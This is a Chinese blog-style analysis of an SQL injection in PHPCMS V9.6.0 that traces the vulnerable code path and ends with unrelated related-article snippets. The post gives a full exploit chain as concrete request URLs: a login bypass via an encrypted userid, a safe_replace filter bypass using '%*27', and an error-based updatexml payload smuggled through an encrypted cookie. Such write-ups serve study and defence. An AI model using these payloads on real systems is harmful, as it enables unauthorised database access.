phpcmsV9.6.0sql注入漏洞分析
目录
前言
环境准备
漏洞点
看一看parse_str函数
看一看sys_auth函数
看一看get_one函数
全局搜索sys_auth($a_k, 'ENCODE')
查看safe_replace函数
判断登录绕过
index的业务
加载modules/wap/index.php
加载modules/attachment/attachments.php
加载modules\content\down.php
前言
本次分析phpcmsV9.6.0 的sql注入漏洞,过程很曲折,就像cc链一样,要一步一步找到利用的链。
纯手动分析没有软件调试,中间找类啊,方法啊 ,都是按照代码流程写的流程分析的,对自己也是一个挑战吧!
环境准备
添加php的运行环境
PHPCMSV9.6.0 源码下载
链接:https://pan.baidu.com/s/1h87h2RLBNsu8Ox6eRRK6Qw?pwd=cefh
提取码:cefh
漏洞点
请看phpcms\modules\content\down.php 文件下down类中的一个函数方法
public function init() {$a_k = trim($_GET['a_k']);if(!isset($a_k)) showmessage(L('illegal_parameters'));$a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));if(empty($a_k)) showmessage(L('illegal_parameters'));unset($i,$m,$f);parse_str($a_k);if(isset($i)) $i = $id = intval($i);if(!isset($m)) showmessage(L('illegal_parameters'));if(!isset($modelid)||!isset($catid)) showmessage(L('illegal_parameters'));if(empty($f)) showmessage(L('url_invalid'));$allow_visitor = 1;$MODEL = getcache('model','commons');$tablename = $this->db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];$this->db->table_name = $tablename.'_data';$rs = $this->db->get_one(array('id'=>$id)); $siteids = getcache('category_content','commons');$siteid = $siteids[$catid];$CATEGORYS = getcache('category_content_'.$siteid,'commons');...
get传参&a_k,之后对参数$a_k做了sys_auth()函数处理 模式是解密处理,后面sql的数据库处理,这里是否存在sql注入呢!
看一看parse_str函数
官方文档说明
看来这个函数可以根据传参&k=v 的形式创建变量 ,我们可以创建$id参数 试试sql注入,因为下面的代码涉及数据库查询
看if(isset($i)) $i = $id = intval($i); 好像对$id做了处理,不过没有用,因为上面的代码有执行unset($i,$m,$f); ,这意味者$i是无效的。 之后$id是一直没有做过滤处理,直接到了sql查询,那么这存在的sql注入可能性是非常的大的。
我们欲定制的&id=' and updatexml(1,concat(1,(user())),1) 通过parse_str创建sql注入危险参数 传入sql查询中,这有可能返回用户信息。
不过在此之前我们要看一下加解密的这个函数sys_auth();
看一看sys_auth函数
/*** 字符串加密、解密函数*** @param string $txt 字符串
* @param string $operation ENCODE为加密,DECODE为解密,可选参数,默认为ENCODE,
* @param string $key 密钥:数字、字母、下划线
* @param string $expiry 过期时间* @return string*/function sys_auth($string, $operation = 'ENCODE', $key = '', $expiry = 0) {$ckey_length = 4;$key = md5($key != '' ? $key : pc_base::load_config('system', 'auth_key'));$keya = md5(substr($key, 0, 16));$keyb = md5(substr($key, 16, 16));$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';$cryptkey = $keya.md5($keya.$keyc);$key_length = strlen($cryptkey);$string = $operation == 'DECODE' ? base64_decode(strtr(substr($string, $ckey_length), '-_', '+/')) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;$string_length = strlen($string);$result = '';$box = range(0, 255);$rndkey = array();for($i = 0; $i <= 255; $i++) {$rndkey[$i] = ord($cryptkey[$i % $key_length]);}for($j = $i = 0; $i < 256; $i++) {$j = ($j + $box[$i] + $rndkey[$i]) % 256;$tmp = $box[$i];$box[$i] = $box[$j];$box[$j] = $tmp;}for($a = $j = $i = 0; $i < $string_length; $i++) {$a = ($a + 1) % 256;$j = ($j + $box[$a]) % 256;$tmp = $box[$a];$box[$a] = $box[$j];$box[$j] = $tmp;$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));}if($operation == 'DECODE') {if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {return substr($result, 26);} else {return '';}} else {return $keyc.rtrim(strtr(base64_encode($result), '+/', '-_'), '=');}}
只看注解就大致明白了这个函数的基本逻辑,传入了字符串和密钥它就返回一个加了密的或者解了密的字符串。非常可能是对称加密。
而且当你第二个参数密钥没输的话,后面的代码还是会赋给key:pc_base::load_config('system', 'auth_key') ---------------$key = md5($key != '' ? $key : pc_base::load_config('system', 'auth_key'));
看来pc_base::load_config('system','auth_key')这个就是密钥了。
找到pc_base这个类的load_config方法,找找看密钥在不在
/*** 加载配置文件* @param string $file 配置文件* @param string $key 要获取的配置荐* @param string $default 默认配置。当获取配置项目失败时该值发生作用。* @param boolean $reload 强制重新加载。*/public static function load_config($file, $key = '', $default = '', $reload = false) {static $configs = array();if (!$reload && isset($configs[$file])) {if (empty($key)) {return $configs[$file];} elseif (isset($configs[$file][$key])) {return $configs[$file][$key];} else {return $default;}}$path = CACHE_PATH.'configs'.DIRECTORY_SEPARATOR.$file.'.php';if (file_exists($path)) {$configs[$file] = include $path;}if (empty($key)) {return $configs[$file];} elseif (isset($configs[$file][$key])) {return $configs[$file][$key];} else {return $default;}}
第一个if是进不去的因为$configs[$file] 是刚创建的新数组,看它接下来又进行了什么操作
$path = CACHE_PATH.'configs'.DIRECTORY_SEPARATOR.$file.'.php';
if (file_exists($path)) {
$configs[$file] = include $path;
}
这里给$configs[$file] 赋了值,分析一下。
写宏的定义都可以找到//缓存文件夹地址 define('CACHE_PATH', PC_PATH.'..'.DIRECTORY_SEPARATOR.'caches'.DIRECTORY_SEPARATOR); //PHPCMS框架路径 define('PC_PATH', dirname(FILE).DIRECTORY_SEPARATOR);
根据传入的参数$file=system 可以得到$path的目录
CACHE_PATH=phpcms../caches./
$path=phpcms../caches./configs./system.php
在后面的代码逻辑中似乎取出了什么值,$configs[$file][$key]; 。
打开这个文件一看 找auth_key的值
ok 这个密钥找到了
如果这个密钥每个安装cms的用户密钥都一样的,那就可以直接利用。但如果每个用户的密钥都一样那这个时候就另辟途径了。
全局搜索看看有没有调用sys_auth($a_k, 'ENCODE');函数 传入的字符串是否可控 ,若可控还能返回最好 ,我们把准备的get传参交由它加密,最后经过phpcms\modules\content\down.php 的sys_auth解密 不就可以利用了。
为了确保sql注入的准确执行,看一看get_one函数
看一看get_one函数
...$MODEL = getcache('model','commons');$tablename = $this->db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];$this->db->table_name = $tablename.'_data';$rs = $this->db->get_one(array('id'=>$id)); ...
分析一下db是怎么来的,查看down的构造方法
class down {private $db;function __construct() {$this->db = pc_base::load_model('content_model');}
跟进pc_base类下的load_model方法
/*** 加载数据模型* @param string $classname 类名*/
public static function load_model($classname) {return self::_load_class($classname,'model');
}
在跟进_load_class方法
/*** 加载类文件函数* @param string $classname 类名* @param string $path 扩展地址* @param intger $initialize 是否初始化*/private static function _load_class($classname, $path = '', $initialize = 1) {static $classes = array();if (empty($path)) $path = 'libs'.DIRECTORY_SEPARATOR.'classes';$key = md5($path.$classname);if (isset($classes[$key])) {if (!empty($classes[$key])) {return $classes[$key];} else {return true;}}if (file_exists(PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php')) {include PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php';$name = $classname;if ($my_path = self::my_path(PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php')) {include $my_path;$name = 'MY_'.$classname;}if ($initialize) {$classes[$key] = new $name;} else {$classes[$key] = true;}return $classes[$key];} else {return false;}}
由传入的参数$classname=content_model; $path='model'
PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php' == phpcms/model/content_model.class.php'
这个文件是存在的所以会被包含进来
在content_model.class.php内content_model类中没有找到get_one方法,不过它有父类model兴趣能找到get_one方法。
在父类中有get_one方法
*** 获取单条记录查询* @param $where 查询条件* @param $data 需要查询的字段值[例`name`,`gender`,`birthday`]* @param $order 排序方式 [默认按数据库默认方式排序]* @param $group 分组方式 [默认为空]* @return array/null 数据查询结果集,如果不存在,则返回空*/
final public function get_one($where = '', $data = '*', $order = '', $group = '') {if (is_array($where)) $where = $this->sqls($where);return $this->db->get_one($data, $this->table_name, $where, $order, $group);
}
上来就判断$where是数组吗,是! 刚才我们传的是array('id'=>$id),因此会执行$where = $this->sqls($where);进入sqls方法
/*** 将数组转换为SQL语句* @param array $where 要生成的数组* @param string $font 连接串。*/
final public function sqls($where, $font = ' AND ') {if (is_array($where)) {$sql = '';foreach ($where as $key=>$val) {$sql .= $sql ? " $font `$key` = '$val' " : " `$key` = '$val'";}return $sql;} else {return $where;}
}
假设id=1 那么经过foreach后 $sql="id=1"
假设id=1 key=2那么经过foreach后 $sql="id=1 and key=2"
将$sql返回赋值给$where
续分析return $this->db->get_one($data, $this->table_name, $where, $order, $group);
这里貌似有了新的db,去看一看db怎么来的, 找到model类的构造函数
class model {//数据库配置
protected $db_config = '';
//数据库连接
protected $db = '';
//调用数据库的配置项
protected $db_setting = 'default';
//数据表名
protected $table_name = '';
//表前缀
public $db_tablepre = '';public function __construct() {if (!isset($this->db_config[$this->db_setting])) {$this->db_setting = 'default';}$this->table_name = $this->db_config[$this->db_setting]['tablepre'].$this->table_name;$this->db_tablepre = $this->db_config[$this->db_setting]['tablepre'];$this->db = db_factory::get_instance($this->db_config)->get_database($this->db_setting);
}
找到同级目录下的db_factory类 get_instance静态方法
/*** 返回当前终级类对象的实例* @param $db_config 数据库配置* @return object*/
public static function get_instance($db_config = '') {if($db_config == '') {$db_config = pc_base::load_config('database');}if(db_factory::$db_factory == '') {db_factory::$db_factory = new db_factory();}if($db_config != '' && $db_config != db_factory::$db_factory->db_config) db_factory::$db_factory->db_config = array_merge($db_config, db_factory::$db_factory->db_config);return db_factory::$db_factory;
}
实例化db_factory类,后面又调用了get_database方法 ,
/*** 获取数据库操作实例* @param $db_name 数据库配置名称*/public function get_database($db_name) {if(!isset($this->db_list[$db_name]) || !is_object($this->db_list[$db_name])) {$this->db_list[$db_name] = $this->connect($db_name);}return $this->db_list[$db_name];}
进入connect方法 看看返回的return $this->db_list[$db_name];是什么
/*** 加载数据库驱动* @param $db_name 数据库配置名称* @return object*/
public function connect($db_name) {$object = null;switch($this->db_config[$db_name]['type']) {case 'mysql' :pc_base::load_sys_class('mysql', '', 0);$object = new mysql();break;case 'mysqli' :$object = pc_base::load_sys_class('db_mysqli');break;case 'access' :$object = pc_base::load_sys_class('db_access');break;default :pc_base::load_sys_class('mysql', '', 0);$object = new mysql();}$object->open($this->db_config[$db_name]);return $object;
}
这里我们需要判断 $this->db_config[$db_name]['type'] 存的是什么字符串
connect的$db_name来自get_database的$db_name
get_database的$db_name来自$this->db_setting
db_setting = 'default'
找一下$db_config
$db_config = pc_base::load_config('database');
根据刚才找system的套路 我们也向caches\configs目录下找
<?phpreturn array ('default' => array ('hostname' => 'localhost','port' => 3306,'database' => 'phpcmsv9','username' => 'root','password' => '','tablepre' => 'v9_','charset' => 'utf8','type' => 'mysqli','debug' => true,'pconnect' => 0,'autoconnect' => 0),
);?>
既然是default 后面又有type 那么最终返回的就是mysqli
现在可以判断的是刚才的switch语句会执行以下的代码
case 'mysqli' :$object = pc_base::load_sys_class('db_mysqli');break;
跟进去load_sys_class
/*** 加载系统类方法* @param string $classname 类名* @param string $path 扩展地址* @param intger $initialize 是否初始化*/
public static function load_sys_class($classname, $path = '', $initialize = 1) {return self::_load_class($classname, $path, $initialize);
}
在跟进去_load_class
/*** 加载类文件函数* @param string $classname 类名* @param string $path 扩展地址* @param intger $initialize 是否初始化*/
private static function _load_class($classname, $path = '', $initialize = 1) {static $classes = array();if (empty($path)) $path = 'libs'.DIRECTORY_SEPARATOR.'classes';$key = md5($path.$classname);if (isset($classes[$key])) {if (!empty($classes[$key])) {return $classes[$key];} else {return true;}}if (file_exists(PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php')) {include PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php';$name = $classname;if ($my_path = self::my_path(PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php')) {include $my_path;$name = 'MY_'.$classname;}if ($initialize) {$classes[$key] = new $name;} else {$classes[$key] = true;}return $classes[$key];} else {return false;}
}
ok 我们去上libs/classes 这个目录下的db_mysqli类找出来 ;文件名为db_mysqli.class.php 函数加载了这个类
由此可见db存的是db_mysqli实例化类
db_mysqli有get_one的方法
/*** 获取单条记录查询* @param $data 需要查询的字段值[例`name`,`gender`,`birthday`]* @param $table 数据表* @param $where 查询条件* @param $order 排序方式 [默认按数据库默认方式排序]* @param $group 分组方式 [默认为空]* @return array/null 数据查询结果集,如果不存在,则返回空*/
public function get_one($data, $table, $where = '', $order = '', $group = '') {$where = $where == '' ? '' : ' WHERE '.$where;$order = $order == '' ? '' : ' ORDER BY '.$order;$group = $group == '' ? '' : ' GROUP BY '.$group;$limit = ' LIMIT 1';$field = explode( ',', $data);array_walk($field, array($this, 'add_special_char'));$data = implode(',', $field);$sql = 'SELECT '.$data.' FROM `'.$this->config['database'].'`.`'.$table.'`'.$where.$group.$order.$limit;$this->execute($sql);$res = $this->fetch_next();$this->free_result();return $res;
}
所以这里的之前的get_one函数会跳转到上面的get_one函数
final public function get_one($where = '', $data = '*', $order = '', $group = '') {
if (is_array($where)) $where = $this->sqls($where);
return $this->db->get_one($data, $this->table_name, $where, $order, $group);
$where = $where == ' ' ? ' ' : ' WHERE '.$where; 将成为 WHERE id=1 之类的
$order = $order == ' ' ? ' ' : ' ORDER BY '.$order; $order为空
$group = $group == '' ? '' : ' GROUP BY '.$group; $group为空
$data = '*'经过$field = explode( ',', $data); $field成为数组 .....
看sql语句的字符串
$sql = 'SELECT '.$data.' FROM '.$this->config['database'].'
.'.$table.'
'.$where.$group.$order.$limit;
最终形成的形式为$sql = 'SELECT '.$data.' FROM '.$this->config['database'].'
.'.$table.'
' WHERE id=1 LIMIT 1;
这样美誉经过任何过滤项 已经形成sql注入的必要条件了。
全局搜索sys_auth($a_k, 'ENCODE')
在phpcms\libs\classes\param.class.php文件中
/*** 设置 cookie* @param string $var 变量名* @param string $value 变量值* @param int $time 过期时间*/public static function set_cookie($var, $value = '', $time = 0) {$time = $time > 0 ? $time : ($value == '' ? SYS_TIME - 3600 : 0);$s = $_SERVER['SERVER_PORT'] == '443' ? 1 : 0;$var = pc_base::load_config('system','cookie_pre').$var;$_COOKIE[$var] = $value;if (is_array($value)) {foreach($value as $k=>$v) {setcookie($var.'['.$k.']', sys_auth($v, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s);}} else {setcookie($var, sys_auth($value, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s);}}
('cookie_pre' => 'tqdSZ_', //Cookie 前缀,同一域名下安装多套系统时,请修改Cookie前缀 )
$value参数可控的话就可以利用,这里setcookie方法貌似是js中定义的,可以返回到前端
function setcookie(name, value, days) {name = cookie_pre+name;var argc = setcookie.arguments.length;var argv = setcookie.arguments;var secure = (argc > 5) ? argv[5] : false;var expire = new Date();if(days==null || days==0) days=1;expire.setTime(expire.getTime() + 3600000*24*days);document.cookie = name + "=" + escape(value) + ("; path=" + cookie_path) + ((cookie_domain == '') ? "" : ("; domain=" + cookie_domain)) + ((secure == true) ? "; secure" : "") + ";expires="+expire.toGMTString();
}
查看哪里调用了 set_cookie
在phpcms/modules/attachment/attachments.php文件中 ,有一个方法
/*** 设置swfupload上传的json格式cookie*/public function swfupload_json() {$arr['aid'] = intval($_GET['aid']);$arr['src'] = safe_replace(trim($_GET['src']));$arr['filename'] = urlencode(safe_replace($_GET['filename']));$json_str = json_encode($arr);$att_arr_exist = param::get_cookie('att_json');$att_arr_exist_tmp = explode('||', $att_arr_exist);if(is_array($att_arr_exist_tmp) && in_array($json_str, $att_arr_exist_tmp)) {return true;} else {$json_str = $att_arr_exist ? $att_arr_exist.'||'.$json_str : $json_str;param::set_cookie('att_json',$json_str);return true; }}
查看接收字符串的src与filename参数,中间经过了safe_replace的处理之后由json_encode处理后放入set_cookie ,
查看safe_replace函数
/*** 安全过滤函数** @param $string* @return string*/
function safe_replace($string) {$string = str_replace('%20','',$string);$string = str_replace('%27','',$string);$string = str_replace('%2527','',$string);$string = str_replace('*','',$string);$string = str_replace('"','"',$string);$string = str_replace("'",'',$string);$string = str_replace('"','',$string);$string = str_replace(';','',$string);$string = str_replace('<','<',$string);$string = str_replace('>','>',$string);$string = str_replace("{",'',$string);$string = str_replace('}','',$string);$string = str_replace('\\','',$string);return $string;
}
这个函数的确过滤了不少特殊的字符,但它是顺序执行了的啊!
给出思路: 假如我们像传参%27 我们可以写成%*27 ,是不是可以绕过了。
判断登录绕过
要使用这个类还有有一个前提
看一看attachments类的初始化工作
class attachments {private $att_db;function __construct() {pc_base::load_app_func('global');$this->upload_url = pc_base::load_config('system','upload_url');$this->upload_path = pc_base::load_config('system','upload_path'); $this->imgext = array('jpg','gif','png','bmp','jpeg');$this->userid = $_SESSION['userid'] ? $_SESSION['userid'] : (param::get_cookie('_userid') ? param::get_cookie('_userid') : sys_auth($_POST['userid_flash'],'DECODE'));$this->isadmin = $this->admin_username = $_SESSION['roleid'] ? 1 : 0;$this->groupid = param::get_cookie('_groupid') ? param::get_cookie('_groupid') : 8;//判断是否登录if(empty($this->userid)){showmessage(L('please_login','','member'));}}
必须让userid不为空,分析前面的带代码得知post传入userid_flash参数即可
为了使userid加密 格式正确我们可以看下面的代码
phpcms/modules/wap/index.php
class index {function __construct() { $this->db = pc_base::load_model('content_model');$this->siteid = isset($_GET['siteid']) && (intval($_GET['siteid']) > 0) ? intval(trim($_GET['siteid'])) : (param::get_cookie('siteid') ? param::get_cookie('siteid') : 1);param::set_cookie('siteid',$this->siteid); $this->wap_site = getcache('wap_site','wap');$this->types = getcache('wap_type','wap');$this->wap = $this->wap_site[$this->siteid];define('WAP_SITEURL', $this->wap['domain'] ? $this->wap['domain'].'index.php?' : APP_PATH.'index.php?m=wap&siteid='.$this->siteid);if($this->wap['status']!=1) exit(L('wap_close_status'));}
这里get接收siteid并且经过加密(set_cookie里)返回 我们可以拿到一个正常的加密的siteid值
一切都看似很美好,那么我们如何传参呢?
index的业务
看首页的index.php
<?php
/*** index.php PHPCMS 入口** @copyright (C) 2005-2010 PHPCMS* @license http://www.phpcms.cn/license/* @lastmodify 2010-6-1*///PHPCMS根目录define('PHPCMS_PATH', dirname(__FILE__).DIRECTORY_SEPARATOR);include PHPCMS_PATH.'/phpcms/base.php';pc_base::creat_app();?>
跟进pc_base类中的creat_app方法
/*** 初始化应用程序*/
public static function creat_app() {return self::load_sys_class('application');
}
根据刚才的套路可以想到这应该是到libs/classes目录下找application.class 找到application类
application类有构造函数
class application {
/*** 构造函数*/
public function __construct() {$param = pc_base::load_sys_class('param');define('ROUTE_M', $param->route_m());define('ROUTE_C', $param->route_c());define('ROUTE_A', $param->route_a());$this->init();
}
这里定义了几根宏后面可能会用到,看看route_m
/*** 获取模型*/
public function route_m() {$m = isset($_GET['m']) && !empty($_GET['m']) ? $_GET['m'] : (isset($_POST['m']) && !empty($_POST['m']) ? $_POST['m'] : '');$m = $this->safe_deal($m);if (empty($m)) {return $this->route_config['m'];} else {if(is_string($m)) return $m;}
}
route_c
/*** 获取控制器*/public function route_c() {$c = isset($_GET['c']) && !empty($_GET['c']) ? $_GET['c'] : (isset($_POST['c']) && !empty($_POST['c']) ? $_POST['c'] : '');$c = $this->safe_deal($c);if (empty($c)) {return $this->route_config['c'];} else {if(is_string($c)) return $c;}}
$param存的应该是param类
进入init函数
/*** 调用件事*/private function init() {$controller = $this->load_controller();if (method_exists($controller, ROUTE_A)) {if (preg_match('/^[_]/i', ROUTE_A)) {exit('You are visiting the action is to protect the private action');} else {call_user_func(array($controller, ROUTE_A));}} else {exit('Action does not exist.');}}
进入load_controller
/*** 加载控制器* @param string $filename* @param string $m* @return obj*/private function load_controller($filename = '', $m = '') {if (empty($filename)) $filename = ROUTE_C;if (empty($m)) $m = ROUTE_M;$filepath = PC_PATH.'modules'.DIRECTORY_SEPARATOR.$m.DIRECTORY_SEPARATOR.$filename.'.php';if (file_exists($filepath)) {$classname = $filename;include $filepath;if ($mypath = pc_base::my_path($filepath)) {$classname = 'MY_'.$filename;include $mypath;}if(class_exists($classname)){return new $classname;}else{exit('Controller does not exist.');}} else {exit('Controller does not exist.');}}
}
可以传参c=cccc&m=mmm
$filepath=phpcms/modules/mmmm/cccc.php,如果这个文件存在 那就包含这个文件
返回这个实例化类
call_user_func(array($controller, ROUTE_A));这段代码似乎在告诉我们可以执行函数
根据这个逻辑我们可以包含phpcms/modules/wap/index.php,加载index类(__construct会自动执行),这样就可传参siteid了
加载modules/wap/index.php
试一下
http://localhost/PHPCMSV9.6.0/install_package/index.php?c=index&m=wap&siteid=1
我们可以看到这里确实返回了cookie
加载modules/attachment/attachments.php
准备加载在phpcms/modules/attachment/attachments.php加载attachments类
http://localhost/PHPCMSV9.6.0/install_package/index.php?c=attachments&m=attachment
我们需要执行这个类的一个函数swfupload_json,注意call_user_func(array($controller, ROUTE_A));这段代码似乎在告诉我们可以执行函数
/*** 获取事件*/
public function route_a() {$a = isset($_GET['a']) && !empty($_GET['a']) ? $_GET['a'] : (isset($_POST['a']) && !empty($_POST['a']) ? $_POST['a'] : '');$a = $this->safe_deal($a);if (empty($a)) {return $this->route_config['a'];} else {if(is_string($a)) return $a;}
}
我们试试把get传入参数a
http://localhost/PHPCMSV9.6.0/install_package/index.php?c=attachment&m=attachment&a=swfupload_json
注意这个请求应是post,加上userid_flash 之前我们得到的可以绕过登录的加密密文
userid_flash=6b47nnR-RzzZSlL3pvOWVbDDRPViHYmbMZJc0tHF
如果这个请求可以执行swfupload_json函数, 那就要考虑传参了,这也是我们愿意看到的向src传参。
不过此前我们还要考虑到如下的代码
if(isset($i)) $i = $id = intval($i);
if(!isset($m)) showmessage(L('illegal_parameters'));
if(!isset($modelid)||!isset($catid)) showmessage(L('illegal_parameters'));
if(empty($f)) showmessage(L('url_invalid'));
由于以上代码参数限制我们 在传参的时候加把这些if绕过去,于是我们payload设置如下
http://localhost/PHPCMSV9.6.0/install_package/index.php?&c=attachments&m=attachment&a=swfupload_json&src=&id=%*27 and updatexml(1,concat(1,(user())),1)#&m=1&modelid=1&catid=1&f=1
此时有cookie的返回
将这段的cookie记录下来
afcfsNwbRJG7g6_H1TAYuikPc7AgYSLv2p1PphPqu-nPAA63qmlQv_V1O1wTd4d4Eyq_hchY-nmSQmL4NVp_lD-SAeYsZ2CoNOueTAT7-peI5i28hB2-QaEKOHJ7G5X-kh60--Mlqr5RlSx-5VYAEpdDcqAUyLRcc1bBeHJ1WE-Y8hk1mVxyOF3yLHfbyDwgvXfXGpPDkjA7rMgp4jFma_m4yFFRrL1_prt4my_NsnI6bKUwyzT1iuTIT2rL7E61
加载modules\content\down.php
phpcms\modules\content\down.php 加载init函数 传入参数&a_k
http://localhost/PHPCMSV9.6.0/install_package/index.php?&c=down&m=content&a=init&a_k=afcfsNwbRJG7g6_H1TAYuikPc7AgYSLv2p1PphPqu-nPAA63qmlQv_V1O1wTd4d4Eyq_hchY-nmSQmL4NVp_lD-SAeYsZ2CoNOueTAT7-peI5i28hB2-QaEKOHJ7G5X-kh60--Mlqr5RlSx-5VYAEpdDcqAUyLRcc1bBeHJ1WE-Y8hk1mVxyOF3yLHfbyDwgvXfXGpPDkjA7rMgp4jFma_m4yFFRrL1_prt4my_NsnI6bKUwyzT1iuTIT2rL7E61
可以看到这里确实可以存在sql注入
相关文章:
phpcmsV9.6.0sql注入漏洞分析
目录 前言 环境准备 漏洞点 看一看parse_str函数 看一看sys_auth函数 看一看get_one函数 全局搜索sys_auth($a_k, ENCODE) 查看哪里调用了 set_cookie 查看safe_replace函数 判断登录绕过 index的业务 加载modules/wap/index.php 加载modules/attachment/attachme…...
深入理解正则表达式:高效处理文本数据的利器
💂 个人网站:【工具大全】【游戏大全】【神级源码资源网】🤟 前端学习课程:👉【28个案例趣学前端】【400个JS面试题】💅 寻找学习交流、摸鱼划水的小伙伴,请点击【摸鱼学习交流群】 引言 正则表达式是一种…...
张雪峰说网络空间安全专业
网络空间安全专业是一个涵盖了计算机科学、信息安全、法律等多个领域的学科,旨在研究保护网络空间的信息系统和数据不被非法侵入、破坏、篡改、泄露的技术和管理手段。 网络安全专业的重要性 随着网络技术的发展,网络安全问题也日益凸显,黑客…...
day11-ArrayList学生管理系统
1.ArrayList 集合和数组的优势对比: 长度可变添加数据的时候不需要考虑索引,默认将数据添加到末尾 1.1 ArrayList类概述 什么是集合 提供一种存储空间可变的存储模型,存储的数据容量可以发生改变 ArrayList集合的特点 长度可以变化…...
java springboot 如何实现小程序支付
今天给大家分享java小程序支付 首先我们学习任何东西要先看官网 下面是支付业务流程 我们具体用代码去实现上面的业务流程 功能截图 代码截图 pay(){//调用后台生成订单var orderNumber "20210101123456";var amount 0.01;WxPay.wxpay(app, amount, orderNumber…...
题目:2839.判断通过操作能否让字符串相等 I
题目来源: leetcode题目,网址:2839. 判断通过操作能否让字符串相等 I - 力扣(LeetCode) 解题思路: 两字符串奇数位字符计数相等并且偶数位字符计数相等是可通过操作让字符串相等。 解题代码ÿ…...
【Prometheus】Prometheus+Grafana部署
Prometheus 概述 官网https://prometheus.io/docs/introduction/overview/ Prometheus 是一款基于时序数据库的开源监控告警系统,非常适合Kubernetes集群的监控。Prometheus的基本原理是通过HTTP协议周期性抓取被监控组件的状态,任意组件只要提供对应的…...
无CDN场景下的传统架构接入阿里云WAF防火墙的配置实践
文章目录 1.配置网站接入WAF防火墙1.1.配置网站接入方式1.2.填写网站的信息1.3.WAF防火墙生成CNAME地址 2.配置WAF防火墙HTTPS证书3.修改域名DNS解析记录到WAF防火墙4.验证网站是否接入WAF防火墙 传统架构接入WAF防火墙非常简单,配置完WAF网站接入后,将得…...
和鲸技术!国家气象信息中心人工智能气象应用基础技术平台上线
8 月 31 日,由和鲸科技支持的人工智能气象应用基础支撑技术平台 V1.0 正式于国家气象信息中心(下简称“信息中心”)上线发布。该平台主要为人工智能技术在气象领域的融合应用提供基础性支撑,目前,已为基于深度学习的短…...
GIT高级使用技巧
GIT高级使用技巧 导出GIT日志到文件 按照 <哈希> - <作者名> <作者邮箱地址> - <作者日期> : <commit描述> 的格式导出日志 git log --prettyformat:"%H - %an <%ae> - %ad : %s" master > log.txt筛选日志并按照从旧到新…...
JavaScript中的垃圾回收机制
聚沙成塔每天进步一点点 ⭐ 专栏简介⭐ JavaScript的垃圾回收机制⭐ 内存管理⭐ 引用计数⭐ 标记-清除算法⭐ 内存泄漏⭐ 性能优化⭐ 使用delete操作符⭐ 注意循环中的变量引用⭐ 使用工具进行内存分析⭐ 使用合适的数据结构⭐ 写在最后 ⭐ 专栏简介 前端入门之旅:探…...
Java替换 html 中隐藏的空格字符
前言 有时候前端传过来的 json 字符串,包含了隐藏的空格 &NBSP 字符,在后端 Debug 的时候可以看到是 ,但 system.out.print() 打印出来的是正常的空格,这样看着正常但其实放入 fastjson 中去做解析会失败,所以我…...
微博情绪分类
引自:https://blog.csdn.net/no1xiaoqianqian/article/details/130593783 友好借鉴,总体抄袭。 所需要的文件如下:https://download.csdn.net/download/m0_37567738/88340795 import os import torch import torch.nn as nn import numpy a…...
探索项目追踪平台的多样性及功能特点
项目追踪平台是现代项目管理中不可或缺的工具,它可以帮助团队高效地跟踪和管理项目进度、任务和资源分配。在当今快节奏的商业环境中,有许多热门的项目追踪平台可供选择。 本文总结了当下热门的项目追踪平台,供您参考~ 1、Zoho Projects&am…...
git简单命令
简易的命令行入门教程: Git 全局设置: git config --global user.name “yyyyjinying” git config --global user.email “12343343qq.com” 创建 git 仓库: mkdir wx-project cd wx-project git init touch README.md git add README.md git commit -m “first commit” …...
Fiber 架构的起源和含义
Fiber 架构的起源 Fiber 架构的起源可以追溯到 React 团队在 2017 年提出的一项重大改进计划。在过去的 React 版本中,渲染过程是基于递归的,即组件树的遍历是通过递归函数来完成的。这种方式在大规模复杂应用中可能会引发一些性能问题,例如…...
Vue3高频面试题+八股文
Vue3.0中的Composition Api 开始之前 Compos:1 tion API可以说是ue3的最大特点,那么为什么要推出Compos1t1on Api,解决了什么问趣? 通常使用Vue2开发的项目,普遍会存在以下问题: 代码的可读性随着组件变大而变差每一种代码复用的…...
对数据库三大范式的理解
首先,要明确一个概念,范式的提出到逐步精进,从第一范式到第三范式,甚至于BCNF范式,逐步优化是为了解决插入异常、删除异常以及改善数据冗余的。 第一范式:符合第一范式的要求,即数据表的属性值均…...
(matplotlib)如何不显示x轴或y轴刻度(ticks)
文章目录 背景plt版本ax子图版本 解决办法plt版本ax子图版本 背景 import numpy as np import matplotlib.pyplot as pltplt版本 x[1,2,3] y[4,5,6] plt.plot(x,y)ax子图版本 x[1,2,3] y[4,5,6] axplt.subplot() ax.plot(x,y)可以发现,正常情况下是有刻度的&…...
U8用友ERP本地部署异地远程访问:内网端口映射外网方案
文章目录 前言1. 服务器本机安装U8并调试设置2. 用友U8借助cpolar实现企业远程办公2.1 在被控端电脑上,点击开始菜单栏,打开设置——系统2.2 找到远程桌面2.3 启用远程桌面 3. 安装cpolar内网穿透3.1 注册cpolar账号3.2 下载cpolar客户端 4. 获取远程桌面…...
怎么提取一个python文件中所有得函数名称
可以通过创建一个Python脚本来读取一个文件(其中包含函数名称),并将这些函数名称写入另一个文件。以下是一个简单的示例: 假设你有一个名为 mytest.py 的文件,其中包含一些函数: # mytest.py def functi…...
企业架构LNMP学习笔记37
1、能够理解读写分离的目的; 2、能够描述读写分离的常见实现方式; 3、能够通过项目框架配置文件实现读写分离; 4、能够通过中间件实现读写分离; 业务背景描述: 时间:2014.6.-2015.9 发布产品类型&#x…...
